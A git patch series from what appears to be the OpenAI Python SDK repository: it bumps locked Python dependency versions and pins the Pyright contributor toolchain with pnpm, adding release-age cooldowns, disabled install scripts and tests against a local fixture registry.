+ { url = "https://files.pythonhosted.org/packages/53/c9/a5151588710785a96d7bc4de27d4cd62f263bbbcb203cfe29df537eb6505/cryptography-50.0.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:910d11e1a385c654bf738bf3e6b8e6ed5de0f5610fcae2be9e5b398d8081d20e", size = 4699810, upload-time = "2026-07-31T14:24:55.746Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/1a/15b92b25eb6ce3089cd49377ae990a0f3ad485a510f968aed1f19dbdcdf2/cryptography-50.0.0-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:62598a8a57f815db4c6259a4e97d857dab56697e7de8e8ab02352ab74da1995d", size = 4691924, upload-time = "2026-07-31T14:24:58.082Z" },
+ { url = "https://files.pythonhosted.org/packages/62/15/219075012ab13e8905f3cd572204f4acb4b111df787104346b9bc0cea789/cryptography-50.0.0-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:07479a1cb08219ab719147e742e76090c9c773321959bb94946fffdd397a6437", size = 4699593, upload-time = "2026-07-31T14:24:59.951Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/b5/c2c5fce26f0ee40d21bafe7f191d29a34b35a65ac4fe8a1191d1983612e9/cryptography-50.0.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c99c003e088647b8a5b7c145d6f78c335f6348332b62e142d411c4b63d1460b9", size = 3813796, upload-time = "2026-07-31T14:25:02.298Z" },
]
[[package]]
@@ -927,16 +919,16 @@ wheels = [
[[package]]
name = "msal"
-version = "1.34.0"
+version = "1.37.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cryptography" },
{ name = "pyjwt", extra = ["crypto"] },
{ name = "requests" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/cf/0e/c857c46d653e104019a84f22d4494f2119b4fe9f896c92b4b864b3b045cc/msal-1.34.0.tar.gz", hash = "sha256:76ba83b716ea5a6d75b0279c0ac353a0e05b820ca1f6682c0eb7f45190c43c2f", size = 153961, upload-time = "2025-09-22T23:05:48.989Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/9a/99/d840198ecf6e8057bbc937f129ae940404485d736cda73253bbff9537f01/msal-1.37.0.tar.gz", hash = "sha256:1b1672a33ee467c1d70b341bb16cafd51bb3c817147a95b93263794b03971bec", size = 182444, upload-time = "2026-05-29T19:49:05.561Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/c2/dc/18d48843499e278538890dc709e9ee3dea8375f8be8e82682851df1b48b5/msal-1.34.0-py3-none-any.whl", hash = "sha256:f669b1644e4950115da7a176441b0e13ec2975c29528d8b9e81316023676d6e1", size = 116987, upload-time = "2025-09-22T23:05:47.294Z" },
+ { url = "https://files.pythonhosted.org/packages/94/b0/d807279f4b55d16d1f120d5ac4344c6e39b56732e2a224d40bded7fd67ad/msal-1.37.0-py3-none-any.whl", hash = "sha256:dd17e95a7c71bce75e8108113438ba7c4a086b3bcad4f57a8c09b7af3d753c2d", size = 123725, upload-time = "2026-05-29T19:49:04.335Z" },
]
[[package]]
@@ -1862,20 +1854,23 @@ wheels = [
[[package]]
name = "pygments"
-version = "2.19.2"
+version = "2.20.0"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/b0/77/a5b8c569bf593b0140bde72ea885a803b82086995367bf2037de0159d924/pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887", size = 4968631, upload-time = "2025-06-21T13:39:12.283Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/c7/21/705964c7812476f378728bdf590ca4b771ec72385c533964653c68e86bdc/pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b", size = 1225217, upload-time = "2025-06-21T13:39:07.939Z" },
+ { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" },
]
[[package]]
name = "pyjwt"
-version = "2.10.1"
+version = "2.13.0"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/e7/46/bd74733ff231675599650d3e47f361794b22ef3e3770998dda30d3b63726/pyjwt-2.10.1.tar.gz", hash = "sha256:3cc5772eb20009233caf06e9d8a0577824723b44e6648ee0a2aedb6cf9381953", size = 87785, upload-time = "2024-11-28T03:43:29.933Z" }
+dependencies = [
+ { name = "typing-extensions", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/3b/81/58d0ac84e1ef3a3843791d6954d94c0b33d526c75eeb1efbce9d0a4c4077/pyjwt-2.13.0.tar.gz", hash = "sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423", size = 107515, upload-time = "2026-05-21T19:54:36.618Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/61/ad/689f02752eeec26aed679477e80e632ef1b682313be70793d798c1d5fc8f/PyJWT-2.10.1-py3-none-any.whl", hash = "sha256:dcdd193e30abefd5debf142f9adfcdd2b58004e644f25406ffaebd50bd98dacb", size = 22997, upload-time = "2024-11-28T03:43:27.893Z" },
+ { url = "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", hash = "sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", size = 31274, upload-time = "2026-05-21T19:54:35.362Z" },
]
[package.optional-dependencies]
@@ -1898,7 +1893,7 @@ wheels = [
[[package]]
name = "pytest"
-version = "8.4.2"
+version = "9.0.3"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "colorama", marker = "sys_platform == 'win32' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
@@ -1909,23 +1904,23 @@ dependencies = [
{ name = "pygments" },
{ name = "tomli", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/a3/5c/00a0e072241553e1a7496d638deababa67c5058571567b92a7eaa258397c/pytest-8.4.2.tar.gz", hash = "sha256:86c0d0b93306b961d58d62a4db4879f27fe25513d4b969df351abdddb3c30e01", size = 1519618, upload-time = "2025-09-04T14:34:22.711Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/7d/0d/549bd94f1a0a402dc8cf64563a117c0f3765662e2e668477624baeec44d5/pytest-9.0.3.tar.gz", hash = "sha256:b86ada508af81d19edeb213c681b1d48246c1a91d304c6c81a427674c17eb91c", size = 1572165, upload-time = "2026-04-07T17:16:18.027Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/a8/a4/20da314d277121d6534b3a980b29035dcd51e6744bd79075a6ce8fa4eb8d/pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79", size = 365750, upload-time = "2025-09-04T14:34:20.226Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/24/a372aaf5c9b7208e7112038812994107bc65a84cd00e0354a88c2c77a617/pytest-9.0.3-py3-none-any.whl", hash = "sha256:2c5efc453d45394fdd706ade797c0a81091eccd1d6e4bccfcd476e2b8e0ab5d9", size = 375249, upload-time = "2026-04-07T17:16:16.13Z" },
]
[[package]]
name = "pytest-asyncio"
-version = "1.2.0"
+version = "1.4.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "backports-asyncio-runner", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "pytest" },
{ name = "typing-extensions", marker = "python_full_version < '3.13' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/42/86/9e3c5f48f7b7b638b216e4b9e645f54d199d7abbbab7a64a13b4e12ba10f/pytest_asyncio-1.2.0.tar.gz", hash = "sha256:c609a64a2a8768462d0c99811ddb8bd2583c33fd33cf7f21af1c142e824ffb57", size = 50119, upload-time = "2025-09-12T07:33:53.816Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/43/7c/d36d04db312ecf4298932ef77e6e4a9e8ad017906e24e34f0b0c361a2473/pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42", size = 58514, upload-time = "2026-05-26T09:56:04.083Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/04/93/2fa34714b7a4ae72f2f8dad66ba17dd9a2c793220719e736dda28b7aec27/pytest_asyncio-1.2.0-py3-none-any.whl", hash = "sha256:8e17ae5e46d8e7efe51ab6494dd2010f4ca8dae51652aa3c8d55acf50bfb2e99", size = 15095, upload-time = "2025-09-12T07:33:52.639Z" },
+ { url = "https://files.pythonhosted.org/packages/03/e2/08a497ef684b88559c9cc5f4ad53a37e7b99e727094a86d6ea32536d5d3c/pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1", size = 16930, upload-time = "2026-05-26T09:56:02.576Z" },
]
[[package]]
@@ -1964,7 +1959,7 @@ wheels = [
[[package]]
name = "requests"
-version = "2.32.5"
+version = "2.33.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "certifi" },
@@ -1972,9 +1967,9 @@ dependencies = [
{ name = "idna" },
{ name = "urllib3" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/34/64/8860370b167a9721e8956ae116825caff829224fbca0ca6e7bf8ddef8430/requests-2.33.0.tar.gz", hash = "sha256:c7ebc5e8b0f21837386ad0e1c8fe8b829fa5f544d8df3b2253bff14ef29d7652", size = 134232, upload-time = "2026-03-25T15:10:41.586Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" },
+ { url = "https://files.pythonhosted.org/packages/56/5d/c814546c2333ceea4ba42262d8c4d55763003e767fa169adc693bd524478/requests-2.33.0-py3-none-any.whl", hash = "sha256:3324635456fa185245e24865e810cecec7b4caf933d7eb133dcde67d48cee69b", size = 65017, upload-time = "2026-03-25T15:10:40.382Z" },
]
[[package]]
From 3079be224c05479b6cf8aa329480c249f66f0599 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 16:05:03 +0000
Subject: [PATCH 036/341] chore: lock the repository Pyright toolchain (#3678)
# Summary
This is part of a series to reduce the SDK's dependency surface and make
contributor tooling more predictable.
- Manage Microsoft's Pyright package with an exact version and a
checked-in pnpm lockfile, keeping the existing type-checker version.
- Remove the Python Pyright wrapper and its `nodeenv` dependency. Lint
runs the repository-local tool and fails with setup instructions when it
is missing.
- Make bootstrap and CI install the pinned toolchain explicitly, with
frozen dependencies, an eight-day update policy, and lifecycle scripts
disabled. Packages without publication dates are rejected too.
- Keep Node tooling out of the SDK runtime and wheel build requirements.
This supersedes the Pyright/toolchain portion of #3116 on top of the
merged uv migration. Locking the existing Steady mock-server invocation
is a separate follow-up.
---
.devcontainer/devcontainer.json | 7 +-
.github/actions/setup-node-tooling/action.yml | 15 +++
.github/dependabot.yml | 6 +
.github/workflows/ci.yml | 6 +
.github/workflows/detect-breaking-changes.yml | 2 +
.gitignore | 2 +
.node-version | 1 +
CONTRIBUTING.md | 26 +++-
package.json | 11 ++
pnpm-lock.yaml | 34 +++++
pnpm-workspace.yaml | 13 ++
pyproject.toml | 8 +-
scripts/bootstrap | 2 +
scripts/bootstrap-node | 29 +++++
scripts/run-pyright | 6 +-
scripts/utils/node-tooling.cjs | 38 ++++++
tests/node-release-age.test.cjs | 73 +++++++++++
tests/node-tooling.test.cjs | 116 ++++++++++++++++++
tests/test_uv_workflows.py | 2 +-
uv.lock | 24 ----
20 files changed, 389 insertions(+), 32 deletions(-)
create mode 100644 .github/actions/setup-node-tooling/action.yml
create mode 100644 .node-version
create mode 100644 package.json
create mode 100644 pnpm-lock.yaml
create mode 100644 pnpm-workspace.yaml
create mode 100755 scripts/bootstrap-node
create mode 100644 scripts/utils/node-tooling.cjs
create mode 100644 tests/node-release-age.test.cjs
create mode 100644 tests/node-tooling.test.cjs
diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json
index 3dff6a0ea2..88fcd37453 100644
--- a/.devcontainer/devcontainer.json
+++ b/.devcontainer/devcontainer.json
@@ -7,7 +7,7 @@
"context": ".."
},
- "postStartCommand": "uv sync --locked --all-extras",
+ "postStartCommand": "./scripts/bootstrap",
"customizations": {
"vscode": {
@@ -26,7 +26,10 @@
}
},
"features": {
- "ghcr.io/devcontainers/features/node:1": {}
+ "ghcr.io/devcontainers/features/node:1": {
+ "version": "22.22.3",
+ "pnpmVersion": "11.19.0"
+ }
}
// Features to add to the dev container. More info: https://containers.dev/features.
diff --git a/.github/actions/setup-node-tooling/action.yml b/.github/actions/setup-node-tooling/action.yml
new file mode 100644
index 0000000000..3dff17cc39
--- /dev/null
+++ b/.github/actions/setup-node-tooling/action.yml
@@ -0,0 +1,15 @@
+name: Set up repository Node tooling
+description: Install the pinned contributor toolchain and frozen dependencies
+runs:
+ using: composite
+ steps:
+ - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
+ with:
+ node-version-file: .node-version
+ - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
+ with:
+ run_install: false
+ - shell: bash
+ run: ./scripts/bootstrap-node
+ - shell: bash
+ run: node --test tests/node-tooling.test.cjs tests/node-release-age.test.cjs
diff --git a/.github/dependabot.yml b/.github/dependabot.yml
index 68f3341f7d..dc12d1ee9b 100644
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@@ -1,5 +1,11 @@
version: 2
updates:
+ - package-ecosystem: npm
+ directory: /
+ schedule:
+ interval: weekly
+ cooldown:
+ default-days: 8
- package-ecosystem: uv
directory: /
schedule:
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 9e2d42c980..b9f3f28690 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -29,6 +29,8 @@ jobs:
with:
persist-credentials: false
+ - uses: ./.github/actions/setup-node-tooling
+
- name: Set up uv
uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
@@ -105,6 +107,8 @@ jobs:
with:
persist-credentials: false
+ - uses: ./.github/actions/setup-node-tooling
+
- name: Set up Python ${{ matrix.python-version }}
id: setup-python
uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
@@ -134,6 +138,8 @@ jobs:
with:
persist-credentials: false
+ - uses: ./.github/actions/setup-node-tooling
+
- name: Set up Python 3.14
id: setup-python
uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
diff --git a/.github/workflows/detect-breaking-changes.yml b/.github/workflows/detect-breaking-changes.yml
index 0437c2bb93..5ca06d149d 100644
--- a/.github/workflows/detect-breaking-changes.yml
+++ b/.github/workflows/detect-breaking-changes.yml
@@ -27,6 +27,8 @@ jobs:
- name: Fetch comparison base
run: git fetch --no-tags --depth=1 origin "$BASE_SHA"
+ - uses: ./.github/actions/setup-node-tooling
+
- name: Set up uv
uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
diff --git a/.gitignore b/.gitignore
index 78b8eab97f..69a97af0aa 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,5 +1,7 @@
.prism.log
.stdy.log
+node_modules/
+.pnpm-store/
_dev
__pycache__
diff --git a/.node-version b/.node-version
new file mode 100644
index 0000000000..941d7c071d
--- /dev/null
+++ b/.node-version
@@ -0,0 +1 @@
+22.22.3
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index a495d18d04..3262f7ae96 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -8,25 +8,39 @@ must include a release note naming the final compatible SDK release.
### With uv
We use [uv](https://docs.astral.sh/uv/) to manage Python, dependencies, and builds.
-Install uv 0.12.1 or newer, then run:
+Install uv 0.12.1 or newer, Node.js at the version in `.node-version`, and
+the exact pnpm version in `package.json` (`npm install --global pnpm@11.19.0`).
+The Node toolchain is for repository development only, not SDK users or builds.
+Then run:
```sh
$ ./scripts/bootstrap
```
-This installs all SDK extras and the development tools from `uv.lock`. Run a
+This installs all SDK extras and Python development tools from `uv.lock`, plus
+the contributor tools from `pnpm-lock.yaml`. Bootstrap requires an already
+installed Node.js and pnpm; it does not download or switch those tools for you.
+Run a
command with `uv run --locked --all-extras`, or activate `.venv` in your shell.
Use `uv lock` after changing dependencies, and commit the updated `uv.lock`.
It is the authoritative lockfile; `uv export` can produce a requirements file
for tools that need one.
+For Node tooling updates, edit `package.json`, run
+`pnpm install --lockfile-only --ignore-scripts`, review the dependency and
+integrity changes, and commit `pnpm-lock.yaml`. Normal bootstrap uses a frozen
+lockfile. pnpm rejects releases that have not cleared the eight-day cooldown,
+including packages whose registry metadata omits their publication date.
+Pyright runs the local Microsoft package and never invokes npm or
+downloads a runtime. Do not use `npx`, `pnpm dlx`, or Corepack auto-downloads.
+
The default environment uses Pydantic v2. `./scripts/test` also runs the
Pydantic-v1 suite in a separate, locked environment. To run that lane alone,
use `./scripts/test-pydantic-v1`.
### Dependency update policy
-Routine Python and GitHub Actions updates have an eight-day cooldown. uv also
+Routine Python, Node-tooling, and GitHub Actions updates have an eight-day cooldown. uv also
excludes Python distribution artifacts uploaded within the last eight days.
Dependabot security updates remain enabled and are exempt from Dependabot's
version-update cooldown.
@@ -43,6 +57,12 @@ the resulting lock diff. Record the advisory and an expiry/removal date in the
PR and remove the exception once those artifacts are eight days old. Do not
disable the global cutoff or exempt unrelated packages.
+For an urgent Node-tooling security fix, obtain the same CODEOWNER review and
+use a temporary, exact `package@version` entry in pnpm's
+`minimumReleaseAgeExclude`. Record the public advisory, integrity/provenance,
+and removal date in the PR. Do not lower an existing security-fixed version,
+disable the global age policy, or enable lifecycle scripts globally.
+
See [uv's package-specific cutoff documentation](https://docs.astral.sh/uv/reference/settings/#exclude-newer-package)
and [Dependabot's cooldown policy](https://docs.github.com/en/code-security/reference/supply-chain-security/dependabot-options-reference#cooldown).
diff --git a/package.json b/package.json
new file mode 100644
index 0000000000..29cfae3a65
--- /dev/null
+++ b/package.json
@@ -0,0 +1,11 @@
+{
+ "name": "openai-python-tooling",
+ "private": true,
+ "packageManager": "pnpm@11.19.0",
+ "engines": {
+ "node": "22.22.3"
+ },
+ "devDependencies": {
+ "pyright": "1.1.399"
+ }
+}
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
new file mode 100644
index 0000000000..2f39cd8366
--- /dev/null
+++ b/pnpm-lock.yaml
@@ -0,0 +1,34 @@
+lockfileVersion: '9.0'
+
+settings:
+ autoInstallPeers: true
+ excludeLinksFromLockfile: false
+
+importers:
+
+ .:
+ devDependencies:
+ pyright:
+ specifier: 1.1.399
+ version: 1.1.399
+
+packages:
+
+ fsevents@2.3.3:
+ resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==}
+ engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}
+ os: [darwin]
+
+ pyright@1.1.399:
+ resolution: {integrity: sha512-roYApcOUEraOc2gTZX052/cw/AZ5rQGkdG/2DtU1/KyhfP+C5zHDlvOT24qRgPXDDkh76AvFwq5quZ1SMahq7w==}
+ engines: {node: '>=14.0.0'}
+ hasBin: true
+
+snapshots:
+
+ fsevents@2.3.3:
+ optional: true
+
+ pyright@1.1.399:
+ optionalDependencies:
+ fsevents: 2.3.3
diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml
new file mode 100644
index 0000000000..c16d6a4498
--- /dev/null
+++ b/pnpm-workspace.yaml
@@ -0,0 +1,13 @@
+# Contributor tools only; this is not part of the Python SDK runtime.
+minimumReleaseAge: 11520
+minimumReleaseAgeStrict: true
+minimumReleaseAgeIgnoreMissingTime: false
+trustPolicy: no-downgrade
+blockExoticSubdeps: true
+strictDepBuilds: true
+trustLockfile: false
+pmOnFail: error
+runtimeOnFail: error
+verifyDepsBeforeRun: error
+ignoreScripts: true
+allowBuilds: {}
diff --git a/pyproject.toml b/pyproject.toml
index 55e3e3b0cf..1211a41257 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -53,7 +53,6 @@ bedrock = [
[dependency-groups]
dev = [
- "pyright==1.1.399",
"mypy==1.17",
"pytest",
"pytest-asyncio",
@@ -115,6 +114,9 @@ include = [
"/*.json",
"/*.lock",
"/*.md",
+ "/.node-version",
+ "/pnpm-lock.yaml",
+ "/pnpm-workspace.yaml",
"/mypy.ini",
"bin/*",
"examples/*",
@@ -148,6 +150,8 @@ pythonVersion = "3.10"
exclude = [
"_dev",
+ "node_modules",
+ ".pnpm-store",
".venv",
".venv-pydantic-v1",
# Contributors may still have an environment from before the uv migration.
@@ -185,6 +189,8 @@ show_error_codes = true
# which means it can't be type checked
exclude = [
'src/openai/_files.py',
+ 'node_modules/.*',
+ '\.pnpm-store/.*',
'src/openai/_vendor/.*',
'scripts/hatch_metadata.py',
'_dev/.*.py',
diff --git a/scripts/bootstrap b/scripts/bootstrap
index 462c50d955..b88bfb0d08 100755
--- a/scripts/bootstrap
+++ b/scripts/bootstrap
@@ -22,3 +22,5 @@ fi
echo "==> Installing Python dependencies…"
uv sync --locked --all-extras
+
+./scripts/bootstrap-node
diff --git a/scripts/bootstrap-node b/scripts/bootstrap-node
new file mode 100755
index 0000000000..5c619512e3
--- /dev/null
+++ b/scripts/bootstrap-node
@@ -0,0 +1,29 @@
+#!/usr/bin/env bash
+set -euo pipefail
+cd "$(dirname "$0")/.."
+
+if ! command -v node >/dev/null 2>&1; then
+ echo 'Node.js is required. Install the version in .node-version, then rerun ./scripts/bootstrap.' >&2
+ exit 1
+fi
+node scripts/utils/node-tooling.cjs --check-node
+
+PNPM_VERSION="$(node -p 'require("./package.json").packageManager.slice("pnpm@".length)')"
+# Even a Corepack shim or an older pnpm must not download another manager.
+export COREPACK_ENABLE_NETWORK=0
+export npm_config_manage_package_manager_versions=false
+export pnpm_config_pm_on_fail=error
+export pnpm_config_runtime_on_fail=error
+
+if ! command -v pnpm >/dev/null 2>&1 || ! ACTUAL_PNPM_VERSION="$(pnpm --version)"; then
+ echo "Install pnpm explicitly with: npm install --global pnpm@${PNPM_VERSION}" >&2
+ exit 1
+fi
+if [ "$ACTUAL_PNPM_VERSION" != "$PNPM_VERSION" ]; then
+ echo "Expected pnpm ${PNPM_VERSION}, found ${ACTUAL_PNPM_VERSION}." >&2
+ echo "Install it explicitly with: npm install --global pnpm@${PNPM_VERSION}" >&2
+ exit 1
+fi
+
+echo '==> Installing locked Node tooling…'
+pnpm install --frozen-lockfile --ignore-scripts
diff --git a/scripts/run-pyright b/scripts/run-pyright
index 1c71ba0587..4ce362cc6b 100755
--- a/scripts/run-pyright
+++ b/scripts/run-pyright
@@ -5,4 +5,8 @@ set -euo pipefail
cd "$(dirname "$0")/.."
CONFIG=${PYRIGHT_PROJECT:-pyproject.toml}
-exec pyright -p "$CONFIG" "$@"
+if ! command -v node >/dev/null 2>&1; then
+ echo 'Node.js is missing. Follow CONTRIBUTING.md, then run ./scripts/bootstrap.' >&2
+ exit 1
+fi
+exec node scripts/utils/node-tooling.cjs pyright -p "$CONFIG" "$@"
diff --git a/scripts/utils/node-tooling.cjs b/scripts/utils/node-tooling.cjs
new file mode 100644
index 0000000000..f6b28e77a8
--- /dev/null
+++ b/scripts/utils/node-tooling.cjs
@@ -0,0 +1,38 @@
+'use strict';
+
+// Resolve only this checkout's tools. Never invoke a package manager here.
+const fs = require('node:fs');
+const path = require('node:path');
+const { spawnSync } = require('node:child_process');
+const root = path.resolve(__dirname, '../..');
+const manifest = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
+
+function fail(message) {
+ console.error(`${message}\nRun ./scripts/bootstrap after installing the versions documented in CONTRIBUTING.md.`);
+ process.exit(1);
+}
+
+if (process.versions.node !== manifest.engines.node) {
+ fail(`Expected Node.js ${manifest.engines.node}, found ${process.versions.node}.`);
+}
+
+const [tool, ...args] = process.argv.slice(2);
+if (tool === '--check-node') process.exit(0);
+if (tool !== 'pyright') fail(`Unknown repository tool: ${tool}`);
+
+const directory = path.join(root, 'node_modules', tool);
+let installed;
+try {
+ installed = JSON.parse(fs.readFileSync(path.join(directory, 'package.json'), 'utf8'));
+} catch {
+ fail(`Missing local ${tool}.`);
+}
+if (installed.version !== manifest.devDependencies[tool]) {
+ fail(`Expected ${tool} ${manifest.devDependencies[tool]}, found ${installed.version}.`);
+}
+const entry = path.join(directory, 'index.js');
+if (!fs.existsSync(entry)) fail(`Missing local ${tool} executable.`);
+// Calling Node explicitly also avoids upstream 1.1.399's CRLF shebang issue.
+const result = spawnSync(process.execPath, [entry, ...args], { stdio: 'inherit' });
+if (result.error) fail(`Could not start ${tool}: ${result.error.message}`);
+process.exit(result.status ?? 1);
diff --git a/tests/node-release-age.test.cjs b/tests/node-release-age.test.cjs
new file mode 100644
index 0000000000..3c6fc9a7f4
--- /dev/null
+++ b/tests/node-release-age.test.cjs
@@ -0,0 +1,73 @@
+'use strict';
+
+const assert = require('node:assert/strict');
+const fs = require('node:fs');
+const http = require('node:http');
+const os = require('node:os');
+const path = require('node:path');
+const { spawn } = require('node:child_process');
+const { test } = require('node:test');
+const repository = path.resolve(__dirname, '..');
+
+// Exercise the actual pinned resolver against a local metadata-only registry.
+// No package tarball or install script should be fetched or executed.
+test('pnpm rejects missing and recent publication dates', async (t) => {
+ const root = fs.mkdtempSync(path.join(os.tmpdir(), 'openai-release-age-'));
+ t.after(() => fs.rmSync(root, { recursive: true, force: true }));
+ let published;
+ let tarballRequests = 0;
+ const server = http.createServer((request, response) => {
+ if (request.url !== '/release-age-fixture') {
+ if (request.url === '/fixture.tgz') tarballRequests++;
+ response.writeHead(404).end();
+ return;
+ }
+ const metadata = {
+ name: 'release-age-fixture',
+ 'dist-tags': { latest: '1.0.0' },
+ versions: {
+ '1.0.0': {
+ name: 'release-age-fixture', version: '1.0.0',
+ dist: { tarball: `${registry}/fixture.tgz`, integrity: 'sha512-' + Buffer.alloc(64).toString('base64') },
+ },
+ },
+ };
+ if (published) metadata.time = { '1.0.0': published };
+ response.writeHead(200, { 'content-type': 'application/json' }).end(JSON.stringify(metadata));
+ });
+ await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
+ t.after(() => new Promise((resolve) => server.close(resolve)));
+ const registry = `http://127.0.0.1:${server.address().port}`;
+ const manifest = JSON.parse(fs.readFileSync(path.join(repository, 'package.json')));
+
+ for (const [label, date, succeeds] of [
+ ['missing', undefined, false],
+ ['recent', new Date().toISOString(), false],
+ ['mature', '2020-01-01T00:00:00.000Z', true],
+ ]) {
+ published = date;
+ const directory = path.join(root, label);
+ fs.mkdirSync(directory);
+ fs.writeFileSync(path.join(directory, 'package.json'), JSON.stringify({
+ name: 'release-age-test', private: true, packageManager: manifest.packageManager,
+ dependencies: { 'release-age-fixture': '1.0.0' },
+ }));
+ fs.copyFileSync(path.join(repository, 'pnpm-workspace.yaml'), path.join(directory, 'pnpm-workspace.yaml'));
+ const result = await new Promise((resolve, reject) => {
+ const child = spawn('pnpm', ['install', '--lockfile-only', '--ignore-scripts', '--registry', registry,
+ '--store-dir', path.join(directory, 'store'), '--cache-dir', path.join(directory, 'cache')], {
+ cwd: directory, env: { ...process.env, COREPACK_ENABLE_NETWORK: '0', NO_PROXY: '127.0.0.1',
+ pnpm_config_pm_on_fail: 'error', pnpm_config_runtime_on_fail: 'error' },
+ stdio: ['ignore', 'pipe', 'pipe'],
+ });
+ let output = '';
+ child.stdout.on('data', (chunk) => { output += chunk; });
+ child.stderr.on('data', (chunk) => { output += chunk; });
+ child.on('error', reject);
+ child.on('close', (status) => resolve({ status, output }));
+ });
+ assert.equal(result.status === 0, succeeds, `${label}: ${result.output}`);
+ if (!succeeds) assert.match(result.output, /release.?age|matur|publish|timestamp/i);
+ }
+ assert.equal(tarballRequests, 0);
+});
diff --git a/tests/node-tooling.test.cjs b/tests/node-tooling.test.cjs
new file mode 100644
